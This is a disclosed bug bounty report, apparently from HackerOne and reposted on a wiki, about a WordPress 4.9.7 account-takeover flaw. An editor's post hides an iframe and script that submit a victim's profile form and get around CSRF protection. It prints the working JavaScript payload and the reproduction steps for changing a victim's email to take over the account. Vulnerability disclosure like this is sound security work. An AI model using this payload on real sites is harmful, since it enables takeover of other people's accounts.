Account takeover vulnerability by editor role privileged users/attackers via clickjacking
Editor-role users could inject iframes and JavaScript into posts, and when a lower-privileged user visited such a post, the hidden iframe submitted the profile form to change the victim's first name or email. By changing the email to the attacker's address, the attacker could then use the password reset flow to take over the victim's account.
Originally disclosed on HackerOne
- Disclosed after 36 days
####Vulnerability - Editor role privileged users are able to hack into other's account by exploiting clickjacking vulnerability.
####Version- 4.9.7
####Issue- https://make.wordpress.org/core/handbook/testing/reporting-security-vulnerabilities/#why-are-some-users-allowed-to-post-unfiltered-html As mentioned per the above link, the editor and admin roles are given permissions to inject arbitary javascript in the posts. Though its a severe vulnerability we can't report about injecting javascript to steal cookies. But only the admin roles/users have the permissions to change the details of other users. Due to this vulnerability editor privileged users are even able to do account takeover of other users account. Allowing the editor role privileged users to use unfiltered HTML (https://en.support.wordpress.com/code/) exposed a new vulnerability via clickjacking. Impact has been explained clearly in the below section. This attack expects the wordpress user to be logged in before he opens the malicious post link sent by the editor privileged user.
####Reproduction steps-
- Create two user accounts, one with author/subscriber privileges and other with editor privileges.
- Get logged in using the editor privileged account and create a new post with the following code.
Replace 159.65.157.23:9080 with your IP address.
<iframe src="http://159.65.157.23:9080/wp-admin/profile.php" id="frame" onload="loaded()" style="visibility:hidden"></iframe>
<script>
var MyIFrame = document.getElementById("frame");
var MyIFrameDoc = (MyIFrame.contentWindow || MyIFrame.contentDocument || MyIFrame.document);
function loaded(){
MyIFrameDoc.document.getElementById("your-profile").first_name.value="hacked by rewanthcool"
MyIFrameDoc.document.getElementById("your-profile").submit.click();
alert("Your first name has been changed to " + MyIFrameDoc.document.getElementById("your-profile").first_name.value + ". Visit http://159.65.157.23:9080/wp-admin/profile.php for confirmation");
}
</script>
- Now click on
publishbutton to publish the URL. Copy the URL to the malicious post. - Now get logged in as another user with author/subscriber privileged roles in another browser/incognito tab.
- Now paste the malicious URL (copied in step 3) in this browser and press enter.
- Boom !! Now the open the profile page of the author/subscriber privileged user
http://159.65.157.23:9080/wp-admin/profile.phpand you can see his firstname got changed to rewanthcool.
Similarly you can change the email of the user by changing first_name parameter in above payload to email. So, now your payload becomes, MyIFrameDoc.document.getElementById("your-profile").email.value="[email protected]". By submitting this payload, you will get a confirmation email link to your profile and you can takeover the victim's account.
###NOTE-
CSRF protection adds _wpnonce to prevent these kind of CSRF attacks but since we are handling everything in an iframe bypasses this CSRF protection as it generates a new valid _wpnonce while it gets loaded in the iframe.
In the above payload, the attacker was able to change the firstname of the victim. That's just a sample. In worst cases, there are two main fields in the same page. They are
- Email-id
- New Password which generates new password by click on a button.
- Sessions: Logout everywhere else.
By using the combination of hidden iframe and javascript, the attacker can craft a similar payload and takeover a wordpress users account.
####Mitigation-
Disallow editor privileged users from injecting iframes into the pages/posts by changing the X-Frame-Options header to DENY.
Impact
Editor role users can access other users account and change his personal information, change this settings, etc just by making the user to visit a nicely crafted page post.
###Worst-case attack scenario Most dangerous impact can be account takeover by changing the email-id and password of the victim by injecting an iframe.
###Detailed explanation of vulnerability-
CSRF on edit-profile has been smartly handled by wordpress developers by adding _wpnonce to it. But allowing the editor privileged users to inject iframes into the posts bypasses this CSRF protection.
A hidden iframe can be put in a post and its URL can be sent to the victim(lower privileged user like author, subscriber, etc). Once the victim clicks on the URL sent by the attacker, the hidden iframe will be submitting a javascript request to change the victim's firstname and lastname. In worst cases, the attacker can submit two requests via iframe using javascript to make account takeover.
- First request, to generate new password via hidden iframe.. This disabled the victim from using old password.
- Second request, to change the victim's email id to attacker's email id via hidden iframe. This completely disables to user to use the
forgot-passwordoption as the email id has been changed. - Attacker now clicks on
forgot-passwordand a reset email will be sent to the attackers email id. - Account takeover completed and editor privileged user hacked the other wordpress users with other privileges.
###Bonus feature/exploit to lock the victim- There's an option to logout from everywhere in the edit-profile page, by clicking on that the attacker can make sure that the victim is not logged into any other accounts after he changed the password.
Only admin privileged users should be having the abilities to change the personal information like usernames, email-id, etc of other accounts but due to this vulnerability the editor privileged user is also getting the same amount of privileges as admin privileged user which definitely is a bad practice.
Considering the high severity of the issue, I'm sure this will be considered as an exceptional report with immediate fix.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the editor role's ability to embed iframes and JavaScript in posts was not restricted, allowing a hidden iframe to submit the profile form with a valid CSRF token and bypass the intended CSRF protection.
Impact
An editor-role user could change another user's profile details and, by changing the email and password, take over the account; the attack requires the victim to be logged in and to visit the malicious post.
What the attacker needed
Attacker has editor role; victim is logged in; victim visits malicious post URL
The fix
The report suggests disallowing editor-privileged users from injecting iframes into posts by setting the X-Frame-Options header to DENY.
How it was found
- Create an author or subscriber account and an editor account.
- Log in as the editor and create a new post containing a hidden iframe pointing to the profile page and JavaScript that changes the first name and submits the form.
- Publish the post and copy its URL.
- Log in as the author or subscriber in another browser or incognito tab.
- Visit the malicious post URL.
- Open the victim's profile page and observe that the first name has been changed.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
Some WordPress users (editors) are allowed to put raw HTML and JavaScript into posts. The report shows that an editor could hide a form that changes another user's profile inside a post, so when a victim opened the post, their profile was silently changed. Changing the email address then let the attacker reset the password and take over the account.
What is UI spoofing?
The interface lies to the user: a framed page catches their clicks, or a browser shows the wrong address or a fake prompt. Paid when it leads to a sensitive action or convincing phishing.